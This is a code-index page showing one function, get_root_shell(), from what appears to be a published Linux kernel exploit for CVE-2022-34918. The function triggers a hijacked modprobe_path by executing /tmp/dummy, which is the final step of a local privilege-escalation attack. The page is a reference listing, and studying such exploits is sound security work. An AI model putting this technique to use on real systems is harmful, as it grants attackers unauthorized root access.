MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / get_root_shell

Function get_root_shell

CVE-2022-34918/exploit/exploit.c:351–358  ·  view source on GitHub ↗

get_root_shell(): Trigger a call to the new modprobe_path

Source from the content-addressed store, hash-verified

349
350// get_root_shell(): Trigger a call to the new modprobe_path
351void get_root_shell(void) {
352 int pid = fork();
353 if (pid == 0)
354 execve("/tmp/dummy", NULL, NULL);
355
356 waitpid(pid, NULL, 0);
357 sem_post(shell_barrier);
358}
359
360// ---------------------------------- netlink --------------------------------------
361// Netlink messages

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected